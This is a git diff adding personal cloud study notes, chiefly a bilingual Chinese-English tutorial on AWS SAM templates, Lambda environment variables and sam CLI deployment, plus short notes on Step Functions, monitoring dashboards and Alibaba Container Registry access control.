[使用SAM模板管理Lambda环境变量](#使用sam模板管理lambda环境变量) + - [用CloudFormation部署SAM模板](#用cloudformation部署sam模板) + - [Deploying a Hello World application](#deploying-a-hello-world-application) + - [Process Amazon S3 events](#process-amazon-s3-events) + - [SAM + Lambda](#sam--lambda) + + +--- + +# SAM Serverless Application Model 无服务器应用模型 + +**无服务器(Serverless)** +- 看上去似乎是「没有服务器」的意思,但其实=是「云原生」(Cloud Native)。 +- 换句话说,就是「无服务器」的服务,一定是「云原生」的。 +- 虽然用户也可以自建机房,也能抽象出一个平台式的服务,看上去好像也不用去管理服务器,但实际上这只是把服务器管理的职责从研发团队转移到了运维团队,所有的成本、风险、经济效应,甚至到遇到问题之后的调试方式和研发的思路,并没有实质的变化。也正因如此,这类服务一般不叫「无服务器」,最多也就被叫「PaaS」(Platform-as-a-Service,平台即服务)。 +- 真正要做到无服务器,就意味着管理服务器的工作,服务器运行、运维的成本,必须完全转移到第三方——即云服务商。只有这样,才能做到非常精细的按需付费,并且形成与原来完全不同的研发思路。 + +**云研发** +- 既然服务器运行、运维都由云服务商负责,那么整套体系就必然完全架设在云上,并且对用户来说它是不透明的。 +- 也就是说,它是云原生的,系统的整个生命周期都完全在云上。 +- 云的巨大弹性和底层优化,使得模拟一个类似环境来做研发、测试变得困难,大家只能都在云上去做研发。 +- 最好的情况当然是,我们在浏览器或者远程桌面上开一个 IDE,直接在云上做开发,然后云上做测试,提交代码到云上的仓库,并且通过云上的流水线做部署。 +- 可现实是,大部分的研发还是发生在客户端。大家还是希望有个简单的办法,让我在本地机器,用自己喜欢的 IDE 和编辑器,快速地写代码、做测试,而不是必须连到云上来操作。 +- 这时候,我们就需要一个工具,它应该要能在本地模拟一套无服务器的研发环境。最好足够简单、便捷,也不辜负我们使用无服务器的初衷。针对这个需求,AWS 推出了 Serverless Application Model(SAM)。 + +--- + + +## AWS SAM + +![Screen Shot 2021-01-04 at 22.17.51](https://i.imgur.com/idVQYiw.png) + +- an open-source framework + - 是一个开源的模型, + - https://github.com/awslabs/serverless-application-model + +- to build serverless applications on AWS. + +- A serverless application + - use AWS SAM to define the serverless applications. + - 用无服务器应用模型 部署 无服务器应用 + - a combination of Lambda functions, event sources, and other resources (such as APIs, databases) that work together to perform tasks. + +- AWS 无服务器应用模型 AWS Serverless Application Model + +- AWS 2016年11月发布 + + +- 结合AWS自动运维相关的服务如AWS CloudFormation 和AWS CodePipeline,统一管理多种资源,实现无服务器应用的 持续集成和部署。 + +- 把这些服务资源方便地管理起来 + + +- an open-source framework to build **serverless applications** on AWS. + - A serverless application is a combination of `Lambda functions, event sources, and other resources that work together to perform tasks`. + - Note that a serverless application is more than just a Lambda function—it can include additional resources such as APIs, databases, and event source mappings + + +AWS SAM consists of the following components: +1. AWS SAM template specification. + - 一套对 CloudFormation 模板格式的扩展,让我们可以更抽象地来定义无服务器资源。 + - use this specification to define the serverless application. + - simple and clean syntax to describe the functions, APIs, permissions, configurations, and events that make up a serverless application. + - use an AWS SAM template file to operate on a single, deployable, versioned entity that's your serverless application. + + +2. AWS SAM command line interface (AWS SAM CLI). + - 一个命令行工具,帮助我们在本地搭建无服务器计算环境,即 API Gateway 和 Lambda。 + - use this tool to build serverless applications that are defined by AWS SAM templates. + - The CLI provides commands enable you to + - verify that AWS SAM template files are written according to the specification, + - invoke Lambda functions locally, + - step-through debug Lambda functions, + - package and deploy serverless applications to the AWS Cloud, and so on. + +- 基于以yaml格式编写的模板使用各种AWS资源构建应用程序。 + +- 实质上是一个AWS CloudFormation 的扩展 + - 基于AWS CloudFormation 并且为无服务器做了优化, + - 简化了无服务器资源的管理,增加了无服务器相关的新资源类型。 + - AWS CloudFormation标准模板语法比较复杂,SAM模板提供了一套简化的语法 + - SAM 基于 CloudFormation,所以也是支持YAML 和JSON两种格式。 + + +```yaml +# 模板格式的版本号和Transform声明。 +# Transform声明告诉 CloudFormation这是一个 SAM 模板,需要转换成标准模板再执行。 +# 它的值取固定值,这里是 AWS::Serverless-2016-10-31,告诉CloudFormation这个模板里的声明都是无服务器应用的描述,以及进行相应的转换。 +AWSTemplateFormatVersion: '2010-09-09' +Transform: AWS::Serverless-2016-10-31 + +# 具体资源的声明: +Resources: + GetHtmlFunction: + Type: AWS::Serverless::Function + Properties: + CodeUri: s3 file location + Handler: index.gethtml + Runtime: nodejs4.3 + Policies: AmazonDynamoDBReadOnlyAccess + Events: + GetHtml: + Type: Api + Properties: + Path: /{proxy+} + Method: ANY + ListTable: + Type: AWS::Serverless::SimpleTable +``` + + +--- + +## Benefits of using AWS SAM + +Because AWS SAM integrates with other AWS services, creating serverless applications with AWS SAM: + +**Single-deployment configuration** +- easy to organize related components and resources, and operate on a single stack. +- use AWS SAM to share configuration (such as memory and timeouts) between resources, and deploy all related resources together as a single, versioned entity. + +**Extension of AWS CloudFormation** +- Because AWS SAM is an extension of AWS CloudFormation, you get the reliable deployment capabilities of AWS CloudFormation. +- You can define resources by using AWS CloudFormation in your AWS SAM template. +- You can use the full suite of resources, intrinsic functions, and other template features that are available in AWS CloudFormation. + +**Built-in best practices** +- You can use AWS SAM to define and deploy your infrastructure as config. +- This makes it possible for you to use and enforce best practices such as code reviews. +- Also, with a few lines of configuration, enable safe deployments through CodeDeploy, and enable tracing by using AWS X-Ray. + +**Local debugging and testing** +- The AWS SAM CLI lets you locally build, test, and debug serverless applications that are defined by AWS SAM templates. +- The CLI provides a Lambda-like execution environment locally. +- It helps you catch issues upfront by providing parity with the actual Lambda execution environment. To step through and debug your code to understand what the code is doing, +- use AWS SAM with AWS toolkits like the `AWS Toolkit for JetBrains, PyCharm, IntelliJ, Visual Studio Code`. This tightens the feedback loop by making it possible for you to find and troubleshoot issues that you might run into in the cloud. + +**Deep integration with development tools** +- You can use AWS SAM with a suite of AWS tools for building serverless applications. You can discover new applications in the AWS Serverless Application Repository. For authoring, testing, and debugging AWS SAM–based serverless applications, +- use the `AWS Cloud9 IDE`. To build a deployment pipeline for your serverless applications, +- use `CodeBuild, CodeDeploy, and CodePipeline`. +- use `AWS CodeStar` to get started with a project structure, code repository, and a CI/CD pipeline that's automatically configured for you. To deploy your serverless application, +- use the Jenkins plugin. + + + + +--- + +### SAM 模板特有资源类型 + +SAM 模板 7个特有资源类型 +- `AWS::Serverless::Function` +- `AWS::Serverless::Api` +- `AWS::Serverless::SimpleTable` +- ... +- 这是当前Transform版本为 AWS::Serverless-2016-10-31所支持的特有资源类型。 +- 将来还有可能增加更多资源类型,升级换用相应的Transform版本号。 + +#### AWS::Serverless::Function +- Lambda函数, +- 模板中包括Lambda函数所有的属性,如Handler、运行时、代码地址、描述等等。 +- Events用来声明事件源,同一函数可以支持多个事件源。 + - AWS Lambda 是事件驱动的无服务器函数服务,所以事件源也是部署Lambda函数的重要属性。 + - 事件源可以有很多种,大体分为3类: + - 数据状态变化,如S3对象的新增、删除。 + - 请求端点,这里主要指的是通过 API Gateway 暴露为对外服务的 HTTP API 接口。 + - 资源状态变化,如EC2实例的启动、停止等状态。 + - 具体产生的事件源来自这些服务:S3、SNS、Kinesis、DynamoDB、Schedule、CloudWatchEvent、AlexaSkill。 + - 各事件源的各种事件及属性全部支持。 +- Policies 声明IAM策略。 +- Environment 可以声明环境变量,可用于传递给 Lambda函数。 + - Lambda环境变量 + - Lambda环境变量是可以动态传递给我们的函数的键值对,比如IAM的验证凭据,API的密钥等等。 + - Lambda环境变量是Lambda服务本身的功能,在无服务器应用模型SAM里,我们可以方便地把环境变量管理起来。 + - 在SAM模板中以 Parameters 节点来声明环境变量。 + - 可以通过标准环境变量API使用,如 Node.js 的process.env 或 Python的os.environ,即Lambda的环境变量会添加到Node.js 的process.env 里,方便咱们开发时使用。 +- 另外还有 Tags声明标签,这是 AWS 管理资源的通用功能,比如用于资源分组,账单和成本分解等。 + +#### AWS::Serverless::Api +- API Gateway,关于API的详细定义,在 DefinitionUri 指定的swagger.yml里。 +- 其余的属性不多,主要是: +- StageName 阶段名称、 +- CacheClusterEnabled 是否启用API Gateway的缓存, +- 以及 CacheClusterSize缓存的容量。 +- 最后的Variables是传递给API 的参数,比如阶段参数,也是用来灵活部署的。 + +#### AWS::Serverless::SimpleTable +- 用于创建 DynamoDb 表。 +- 需要声明主键、类型,以及配置的容量规模。 + + +--- + +## SAM code + + +```bash + +$ pip install --upgrade awscli +$ pip install --upgrade aws-sam-cli +$ sam --version + + +$ tree +SAM-Tutorial +├── afterAllowTraffic.js +├── beforeAllowTraffic.js +├── myFunction.js +└── template.yml + + +$ sam package \ + --template-file template.yml \ + --output-template-file package.yml \ + --s3-bucket YOUR_BUCKET +# Uploading to c2fe022d92156eeb459d45f02a766921 4113 / 4113.0 (100.00%) +# Successfully packaged artifacts and wrote output template to file package.yml. + + + +$ sam deploy \ + --template-file package.yml \ + --stack-name my-date-time-app2 \ + --capabilities CAPABILITY_IAM + # Deploying with following values + # =============================== + # Stack name : my-date-time-app2 + # Region : None + # Confirm changeset : False + # Deployment s3 bucket : None + # Capabilities : ["CAPABILITY_IAM"] + # Parameter overrides : {} + +$ aws lambda invoke \ + --function arn:aws:lambda:region:xxxx:function:my-date-time-app2-myFunction-1S9F \ + --payload "{"option": "date", "period": "today"}" out.txt +# { +# "StatusCode": 200, +# "ExecutedVersion": "$LATEST" +# } + + +# update +# sam build and sam deploy can be leveraged to deploy changes for testing +$ sam build & sam deploy + + +SAM init + +``` + + +--- + + +## example + +#### 使用SAM模板管理Lambda环境变量 + +https://github.com/xfsnow/serverless/tree/master/sam/parameters + +```yaml +Parameters: +# 声明了一个Lambda环境变量,变量名是MyEnvironment。 +# 属性类型是字符串,默认值是testing,可取值是testing、staging和 prod。 +# 描述, 说明它们具体的使用情况。 + MyEnvironment: + Type: String + Default: testing + AllowedValues: + - testing + - staging + - prod + Description: Environment of this stack of resources + +# 然后在声明Lambda函数时在 Variables 段声明一个环境变量S3_BUCKET +# 它的值使用CloudFormatioin内置函数 !Ref 读取SAM模板中的环境变量MyEnvironment。 +ApiHelloFunction: + Type: AWS::Serverless::Function + Properties: + Handler: index.handler + Runtime: nodejs6.10 + Environment: + Variables: + S3_BUCKET: !Ref MyEnvironment + +# 相应地,在Lambda函数代码中,index.js 中上述这段就可以通过全局变量process.env 获取到S3_BUCKET这个环境变量值了。 +# var bucketName = process.env.S3_BUCKET; +``` + +--- + + +#### 用CloudFormation部署SAM模板 + +```bash +# 把文件上传到S3并打包成可用于 CloudFormation 的模板文件。 +aws cloudformation package \ + --template-file parameters.yaml \ + --s3-bucket \ + --output-template-file packaged_parameters.yaml + +# –parameter-overrides MyEnvironment=prod 表示部署时为 CloudFormation 的模板参数指定值为 prod。 +aws cloudformation deploy \ + --template-file output_parameters.yaml \ + --stack-name parameters \ + --capabilities CAPABILITY_IAM \ + --parameter-overrides MyEnvironment=prod + +# 顺利地话,会看到逐渐输出的返回结果。 +Waiting for changeset to be created.. +Waiting for stack create/update to complete +Successfully created/updated stack - lambdaProxy + + +# 这时到 CloudFormation 的控制台已经创建出一个 lambdaProxy,整个过程大约持续 1 到 2 分钟。 +# 然后到 API Gateway 控制台,可以看到创建出的 lambdaProxy 的 API +# 点击其 Stages 下的 Prod 链接,可以看到形如下面的调用 URL: +# Invoke URL: https://xxxxxxxxx.execute-api.my-region.amazonaws.com/Prod + +# 点击它,打开一个新窗口,显示 +{“bucketName”:”prod”} +# 表示已经部署成功。 + + +# 再执行一次 aws cloudformation deploy,把 MyEnvironment 参数变成 testing +aws cloudformation deploy \ + --template-file output_parameters.yaml \ + --stack-name parameters \ + --capabilities CAPABILITY_IAM \ + --parameter-overrides MyEnvironment=testing +# 等待执行完毕后,刷新刚才的调用 URL,可以看到内容已经更新成了 +{“bucketName”:”testing”} +# 这个例子演示了我们在SAM模板中定义的环境变量在具体部署时可以灵活赋成不同的值,然后部署出相应的效果。 +``` + + +--- + +#### Deploying a Hello World application + +This application implements a basic API backend. It consists of an Amazon API Gateway endpoint and an AWS Lambda function. +- When you send a GET request to the API Gateway endpoint, the Lambda function is invoked. +- This function returns a hello world message. + + +![sam-getting-started-hello-world](https://i.imgur.com/s2CrYTD.png) + +```bash +# Prerequisites +# Creating an AWS account. +# Configuring AWS Identity and Access Management (IAM) permissions. + +# Installing Docker. prerequisite only for testing your application locally. + +# Installing Homebrew. +# Installing the AWS SAM command line interface (CLI). +# Check the version +sam --version command. + +# If you select the Image package type, having an Amazon Elastic Container Registry (Amazon ECR) repository URI to perform a deployment. + + +# ------------------ Step 1 - Download a sample application +sam init +# This command creates a directory with the name that you provided as the project name. The contents of the project directory are similar to the following: + sam-app/ + ├── README.md + ├── events/ + │ └── event.json + ├── hello_world/ + │ ├── __init__.py + │ ├── app.py #Contains your AWS Lambda handler logic. + │ └── requirements.txt #Contains any Python dependencies the application requires, used for sam build + ├── template.yaml #Contains the AWS SAM template defining your application's AWS resources. + └── tests/ + └── unit/ + ├── __init__.py + └── test_handler.p + + +# ------------------ Step 2 - Build your application +cd sam-app +sam build +# sam build command builds any dependencies that your application has, +# and copies your application source code to folders under .aws-sam/build to be zipped and uploaded to Lambda. +# You can see the following top-level tree under .aws-sam: + .aws_sam/ + └── build/ + ├── HelloWorldFunction/ # directory contains app.py file, third-party dependencies that app uses. + └── template.yaml + + +# ------------------ Step 3 - Deploy your application +sam deploy --guided +# This command deploys your application to the AWS Cloud. +# It takes the deployment artifacts that you build with the sam build command, packages and uploads them to an Amazon Simple Storage Service (Amazon S3) bucket that the AWS SAM CLI creates, and deploys the application using AWS CloudFormation. +# In the output of the sam deploy command, you can see the changes being made to your AWS CloudFormation stack. + + +# ------------------ Step 4 - test your application +# If your application created an HTTP endpoint, the outputs that sam deploy generates also show you the endpoint URL for your test application. You can use curl to send a request to your application using that endpoint URL. For example: +curl https://.execute-api.us-east-1.amazonaws.com/Prod/hello/ +# {"message": "hello world"} + + +# ------------------ Step 4: (Optional) Test your application locally +# When you're developing your application, you might find it useful to test locally. The AWS SAM CLI provides the sam local command to run your application using Docker containers that simulate the execution environment of Lambda. There are two options to do this: +# Host your API locally +sam local start-api +curl https://127.0.0.1:3000/hello + +# Invoke your Lambda function directly +sam local invoke "HelloWorldFunction" -e events/event.json + + + +``` + + + +### Process Amazon S3 events + + +```bash +# Step 1: Initialize the application +# download the sample application +# consists of an AWS SAM template and application code. + +sam init \ + --location https://github.com/aws-samples/cookiecutter-aws-sam-s3-rekognition-dynamodb-python \ + --no-input + +# Review the contents of the directory that the command created (aws_sam_ocr/): +# template.yaml – Defines three AWS resources that the Amazon S3 application needs: a Lambda function, an Amazon S3 bucket, and a DynamoDB table. The template also defines the mappings and permissions between these resources. +# src/ directory – Contains the Amazon S3 application code. +# SampleEvent.json – The sample event source, which is used for local testing. + + + +# Step 2: Package the application +# create a Lambda deployment package, which you use to deploy the application to the AWS Cloud. +# This deployment creates the necessary AWS resources and permissions that are required to test the application locally. + +# Create an S3 bucket where to save the packaged code. +aws s3 mb s3://bucketname + +# Create the deployment package +sam package \ + --template-file template.yaml \ + --output-template-file packaged.yaml \ # specify the new template file + --s3-bucket bucketname + + + +# Step 3: Deploy the application +# test the application by invoking it in the AWS Cloud. + +# To deploy the serverless application to the AWS Cloud +sam deploy \ + --template-file packaged.yaml \ + --stack-name aws-sam-ocr \ + --capabilities CAPABILITY_IAM \ # allows AWS CloudFormation to create an IAM role. + --region us-east-1 + + + +# Step 4: test the serverless application in the AWS Cloud +# Upload an image to the Amazon S3 bucket that you created for this sample application. +# Open the DynamoDB console and find the table that was created. See the table for results returned by Amazon Rekognition. +# Verify that the DynamoDB table contains new records that contain text that Amazon Rekognition found in the uploaded image. + + + +# Step 4: Test the application locally +# retrieve the names of the AWS resources that were created by AWS CloudFormation. + +# Retrieve the Amazon S3 key name and bucket name from AWS CloudFormation. +# Modify the SampleEvent.json file by replacing the values for the object key, bucket name, and bucket ARN. + +# Retrieve the DynamoDB table name. This name is used for the following sam local invoke command. + +# generate a sample Amazon S3 event and invoke the Lambda function: +TABLE_NAME="Table name obtained from AWS CloudFormation console" + +sam local invoke --event SampleEvent.json + +# The TABLE_NAME= portion sets the DynamoDB table name. +# The --event parameter specifies the file that contains the test event message to pass to the Lambda function. +# now verify that the expected DynamoDB records were created, based on the results returned by Amazon Rekognition. +``` + + + +--- + + +### SAM + Lambda + + +code: + +```py +from __future__ import print_function + +import json +import urllib +import boto3 + +print('Loading function') + +s3 = boto3.client('s3') + +def lambda_handler(event, context): + # Get the object from the event and show its content type + bucket = event['Records'][0]['s3']['bucket']['name'] + key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key'].encode('utf8')) + + try: + response = s3.get_object(Bucket=bucket, Key=key) + print("CONTENT TYPE: " + response['ContentType']) + return response['ContentType'] + + except Exception as e: + print(e) + print('Error getting object {} from bucket {}. Make sure they exist and your bucket is in the same region as this function.'.format(key, bucket)) + raise e +``` + +resource: +- S3 的 bucket: test4lambda +- key: lambda-test.txt + +test + +```bash +sam local generate-event s3 \ + --region us-east-1 \ + --bucket test4lambda \ + --key lambda-test.txt > event.json + + + +``` + + +生成如下用例 event.json + +```json +{ + "Records": [ + { + "eventVersion": "2.0", + "eventName": "ObjectCreated:Put", + "eventTime": "1970-01-01T00:00:00.000Z", + "userIdentity": { + "principalId": "EXAMPLE" + }, + "eventSource": "aws:s3", + "requestParameters": { + "sourceIPAddress": "127.0.0.1" + }, + "s3": { + "configurationId": "testConfigRule", + "object": { + "eTag": "0123456789abcdef0123456789abcdef", + "key": "lambda-test.txt", + "sequencer": "0A1B2C3D4E5F678901", + "size": 1024 + }, + "bucket": { + "ownerIdentity": { + "principalId": "EXAMPLE" + }, + "name": "test4lambda", + "arn": "arn:aws:s3:::test4lambda" + }, + "s3SchemaVersion": "1.0" + }, + "responseElements": { + "x-amz-id-2": "EXAMPLE123/5678abcdefghijklambdaisawesome/mnGH", + "x-amz-request-id": "EXAMPLE123456789" + }, + "awsRegion": "us-east-1" + } + ] +} +``` + + + +编写 yaml 配置文件 +- 到 lambda 后台导出函数 +- 下载 AWS SAM 文件 + + + +得到的配置文件如下 + +```yaml +AWSTemplateFormatVersion: '2010-09-09' +Transform: 'AWS::Serverless-2016-10-31' +Description: An Amazon S3 trigger that retrieves metadata for the object that has been updated. +Resources: + + myTest1: + Type: 'AWS::Serverless::Function' + Properties: + Handler: lambda_function.lambda_handler + Runtime: python2.7 + CodeUri: . + Description: An Amazon S3 trigger that retrieves metadata for the object that has been updated. + MemorySize: 128 + Timeout: 3 + Role: 'arn:aws:iam::851829110870:role/service-role/lambdaTest' + Events: + BucketEvent1: + Type: S3 + Properties: + Bucket: + Ref: Bucket1 + Events: + - 's3:ObjectCreated:*' + Tags: + 'lambda-console:blueprint': s3-get-object-python + + Bucket1: + Type: 'AWS::S3::Bucket' +``` + + + +运行 + +```bash +sam local invoke myTest1 \ + -e event.json \ + -t myTest1.yaml + +# "time out after 3 seconds" +# 解决方法: 在 myTest1.yaml 找到 Timeout 字段, 改成 30 + +# 再次运行, 成功输出 "text/plain", 也就是 python 代码那句 print 语句的结果 +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-StepFunctions.md b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-StepFunctions.md new file mode 100644 index 00000000000..75a38dde6df --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-StepFunctions.md @@ -0,0 +1,31 @@ +--- +title: AWS - AWS Step Functions +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS] +math: true +image: +--- + +- [AWS Step Functions](#aws-step-functions) + - [basic](#basic) + +--- + +# AWS Step Functions + +--- + +## basic + +- `coordinate multiple AWS services into serverless workflows` to build and update apps quickly. + +- `design and run workflows that stitch together services` such as AWS Lambda and Amazon ECS into feature-rich applications. + - Workflows are made up of a series of steps, with the output of one step acting as input into the next. + - Application development is simpler and more intuitive using Step Functions, because it translates workflow into a state machine diagram that is easy to understand, explain to others, and change. + +- automatically triggers and tracks each step, and retries when there are errors, so application executes in order and as expected. + - `monitor each step of execution` as it happens, which means can identify and fix problems quickly. + +- `State machines` are used by Step Functions. + - This product is serverless and can orchestrate long-running workflows involving other AWS services and human interaction. diff --git a/_posts/01Cloud/01AWS/dashboard.md b/_posts/01Cloud/01AWS/dashboard.md new file mode 100644 index 00000000000..7ea2f5d399e --- /dev/null +++ b/_posts/01Cloud/01AWS/dashboard.md @@ -0,0 +1,127 @@ + + + +# dashboards + + + +## Metrics +- checkout error + +- cpu + - ![CPU%](https://i.imgur.com/suZngCp.png) + - ![CPU%](./db/cpus.png) +- disk + - ![disk](https://i.imgur.com/xwI6U4J.png) +- web + - ![web](https://i.imgur.com/rjkiNRq.png) + - ![web](./db/sla.png) +- network + - ![nio](./db/nio.png) + + +## user events + +- all events by events typed +![Screen Shot 2020-12-15 at 22.29.43](https://i.imgur.com/R0XNWSz.png) + +- events information +![Screen Shot 2020-12-15 at 22.33.43](https://i.imgur.com/w5Nl3SS.png) + +- node health +![Screen Shot 2020-12-15 at 22.33.14](https://i.imgur.com/Z7OXoK8.png) + +- top 10 mode by average cpu load +![Screen Shot 2020-12-15 at 23.01.02](https://i.imgur.com/RZSvpIH.png) + +- top logon failures by users +![Screen Shot 2020-12-15 at 22.31.36](https://i.imgur.com/CgMCgj9.png) + +- user logon by users +![Screen Shot 2020-12-15 at 22.32.04](https://i.imgur.com/1LqBFi6.png) + + +- active user + - ![ac](./db/ac.png) + + +- users with the highest risk score +- user with the most recent risk activity +- + + + +## traces +- Lantency SLO +- App performance + - total requests + - total errors + - latency xxms avg + - total time spent by service + - Name: + - GET /home/orders + - ![pv](./db/pv.png) + - ![pv](./db/pv2.png) + + +## Log +- http response code `amount of 2xx, 4xx, 5xx` + - ![Rcode](./db/rcode1.png) + - ![Rcode](./db/rcode2.png) + - ![Rcode](./db/rcd2.png) +- service logs + - ![log](https://i.imgur.com/gwWmGpR.png) +- Error logs by endpoint +- error logs + - + +## additional +- ![ad](./db/ad.png) +- ![sp](./db/sp.png) + +## cloud +- ![cl1](./db/cl1.png) +- + + +![Screen Shot 2020-12-15 at 20.13.32](https://i.imgur.com/4fQOy4V.png) + +![Screen Shot 2020-12-15 at 20.22.28](https://i.imgur.com/GzBqj35.png) + + +## timbr `dashboard create` + + +![Screen Shot 2020-12-15 at 19.29.48](https://i.imgur.com/wq2Ygl8.png) + +![Screen Shot 2020-12-15 at 19.30.10](https://i.imgur.com/ElLPsPj.png) + +![Screen Shot 2020-12-15 at 19.30.31](https://i.imgur.com/2rjYQnc.png) + +![Screen Shot 2020-12-15 at 19.30.42](https://i.imgur.com/Mu9wZfd.png) + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/db/ac.png b/_posts/01Cloud/01AWS/db/ac.png new file mode 100644 index 00000000000..1c56887e0e3 Binary files /dev/null and b/_posts/01Cloud/01AWS/db/ac.png differ diff --git a/_posts/01Cloud/01AWS/db/ad.png b/_posts/01Cloud/01AWS/db/ad.png new file mode 100644 index 00000000000..4a16d8b6c08 Binary files /dev/null and b/_posts/01Cloud/01AWS/db/ad.png differ diff --git a/_posts/01Cloud/01AWS/db/cl1.png b/_posts/01Cloud/01AWS/db/cl1.png new file mode 100644 index 00000000000..81196dd057f Binary files /dev/null and b/_posts/01Cloud/01AWS/db/cl1.png differ diff --git a/_posts/01Cloud/01AWS/db/cpus.png b/_posts/01Cloud/01AWS/db/cpus.png new file mode 100644 index 00000000000..7ce4e1426ec Binary files /dev/null and b/_posts/01Cloud/01AWS/db/cpus.png differ diff --git a/_posts/01Cloud/01AWS/db/nio.png b/_posts/01Cloud/01AWS/db/nio.png new file mode 100644 index 00000000000..c641fd3469e Binary files /dev/null and b/_posts/01Cloud/01AWS/db/nio.png differ diff --git a/_posts/01Cloud/01AWS/db/pv.png b/_posts/01Cloud/01AWS/db/pv.png new file mode 100644 index 00000000000..9cb272b59bc Binary files /dev/null and b/_posts/01Cloud/01AWS/db/pv.png differ diff --git a/_posts/01Cloud/01AWS/db/pv2.png b/_posts/01Cloud/01AWS/db/pv2.png new file mode 100644 index 00000000000..a5f335e7acf Binary files /dev/null and b/_posts/01Cloud/01AWS/db/pv2.png differ diff --git a/_posts/01Cloud/01AWS/db/rcd2.png b/_posts/01Cloud/01AWS/db/rcd2.png new file mode 100644 index 00000000000..96964e8d216 Binary files /dev/null and b/_posts/01Cloud/01AWS/db/rcd2.png differ diff --git a/_posts/01Cloud/01AWS/db/rcode1.png b/_posts/01Cloud/01AWS/db/rcode1.png new file mode 100644 index 00000000000..8f902b9b815 Binary files /dev/null and b/_posts/01Cloud/01AWS/db/rcode1.png differ diff --git a/_posts/01Cloud/01AWS/db/rcode2.png b/_posts/01Cloud/01AWS/db/rcode2.png new file mode 100644 index 00000000000..ccd59057344 Binary files /dev/null and b/_posts/01Cloud/01AWS/db/rcode2.png differ diff --git a/_posts/01Cloud/01AWS/db/sla.png b/_posts/01Cloud/01AWS/db/sla.png new file mode 100644 index 00000000000..7af55dd5a5d Binary files /dev/null and b/_posts/01Cloud/01AWS/db/sla.png differ diff --git a/_posts/01Cloud/01AWS/db/sp.png b/_posts/01Cloud/01AWS/db/sp.png new file mode 100644 index 00000000000..ba6389bf9bd Binary files /dev/null and b/_posts/01Cloud/01AWS/db/sp.png differ diff --git a/_posts/01Cloud/01Ali/ACR.md b/_posts/01Cloud/01Ali/ACR.md new file mode 100644 index 00000000000..ea9bdee6b8e --- /dev/null +++ b/_posts/01Cloud/01Ali/ACR.md @@ -0,0 +1,103 @@ + + + +- [Ali ACR (ACR)](#ali-acr-acr) + - [basic](#basic) + - [Features](#features) + - [access control](#access-control) + - [user access control](#user-access-control) + - [network access control](#network-access-control) + +# Ali ACR (ACR) + + +## basic + +- Alibaba Cloud ACR is a secure platform that allows you to effectively manage and distribute cloud-native artifacts that meet the standards of **Open Container Initiative (OCI)**. +- The artifacts include container images and Helm charts. +- ACR Enterprise Edition provides end-to-end acceleration capabilities to support + - global image synchronization, + - distribution of large images at scale, + - and image building based on multiple code sources. +- The service seamlessly integrates with **Container Service for Kubernetes (ACK)** to help enterprises reduce delivery complexity and provides a one-stop solution for cloud-native applications. + + + +## Features + +**Features of ACR Personal Edition** +- Multi-architecture images + - supports container images that are based on multiple architectures, including Linux, Windows, and ARM. +- Various regions + - create and delete repositories in different regions based on your business requirements. + - Each repository has three endpoints, which can be accessed over the `Internet, internal network, and a virtual private cloud (VPC)`. +- Image scanning + - scan images for security risks and provides detailed information about image layers. + - After an image is scanned, provides a vulnerability report for the image. The report includes detailed vulnerability information, such as the vulnerability number, the vulnerability severity, and the version in which the vulnerability is fixed. + +**Features of ACR Enterprise Edition** +- OCI artifact management + - can manage multiple types of OCI artifacts, such as container images that are based on multiple architectures (such as Linux, Windows, and ARM), and charts of Helm v2 and Helm v3. +- Multi-dimensional security protection + - ensures storage and content security by storing cloud-native application artifacts after encryption, + - supports image scanning to detect vulnerabilities, and generates vulnerability reports from multiple perspectives. + - ensures secure access by providing `network access control` and `fine-grained operation audit` for container images and Helm charts. +- Accelerated application distribution + - can synchronize container images across different regions around the world to improve distribution efficiency. + - supports image distribution in P2P mode to accelerate application deployment and expansion. +- Efficient and secure cloud-native application delivery + - allows you to create cloud-native application delivery chains that are observable, traceable, and configurable. + - can automatically deliver applications all over the world upon source code changes in multiple scenarios based on delivery chains and blocking rules. + - This improves the efficiency and security of cloud-native application delivery. + + +![Screen Shot 2022-03-03 at 09.10.23](https://i.imgur.com/lIbuvVm.png) + + + + + +## access control + + +### user access control + +- Access credentials ensure the secure upload and download of container images and Helm charts. +- Access credentials are available in two types: + - Password: A password is valid permanently. Keep it safe. If the password is lost, you can reset it. + - Temporary token: A temporary token is valid for an hour. If the temporary token is obtained by using Security Token Service (STS), the temporary token is valid so long as the STS token is valid. + + +1. Log on to the ACR instance. +Configure access over the Internet or virtual private clouds (VPCs). +1. Use the access credential to log on to the ACR instance: `docker login -registry..cr.aliyuncs.com` + + + +### network access control + +- By default, a newly created ACR instance is disconnected from all networks. +- You must configure access control lists (ACLs) to allow access to the `ACR instance` over **Virtual Private Clouds (VPCs)** or the **public network**. + + + + +**Configure access over VPCs** +- If your `Elastic Compute Service (ECS) instances` reside in one or more virtual private clouds (VPCs), you must configure access to your `ACR instance` over the VPCs. +- Then, the ECS instances in the VPCs can connect to the ACR instance. + + + +- After you configure access to the ACR instance over VPCs, the instance occupies an `IP address in each VPC`. + - You can use the `internal domain nam`e of the instance to access this instance over a VPC: only when the internal domain name is resolved to the IP address occupied by the instance in the VPC. + - ACR uses `PrivateZone` to automatically configure domain name resolution. + +- can select a random vSwitch or vSwitch that has sufficient IP addresses. After the settings are complete, all ECS instances in the VPC can access the ACR instance by using the internal domain name. + +- When you configure access to ACR instance over VPCs, ACR automatically creates the service-linked role `AliyunServiceRoleForContainerRegistryAccessCustomerPrivateZone` for `PrivateZone` to resolve the domain names of the ACR instance. + +- After the VPC is added, ACR automatically creates a **resolution zone** in `PrivateZone` to resolve the domain name of the ACR instance. + - You can view the resolution zone in PrivateZone. + - Log on to the Alibaba Cloud DNS console > PrivateZone > Hosted Zones tab, view the resolution zone. + +. diff --git a/_posts/01Cloud/01Ali/Ali.md b/_posts/01Cloud/01Ali/Ali.md new file mode 100644 index 00000000000..d7b4753a86b --- /dev/null +++ b/_posts/01Cloud/01Ali/Ali.md @@ -0,0 +1,29 @@ +--- +title: AliCloud - 一句话解释AliCloud +date: 2021-04-04 11:11:11 -0400 +categories: [01AliCloud] +tags: [AliCloud] +toc: true +image: +--- + +- [Ali CLoud](#ali-cloud) + - [Overview](#overview) +--- + + +# Ali CLoud + +## Overview + + 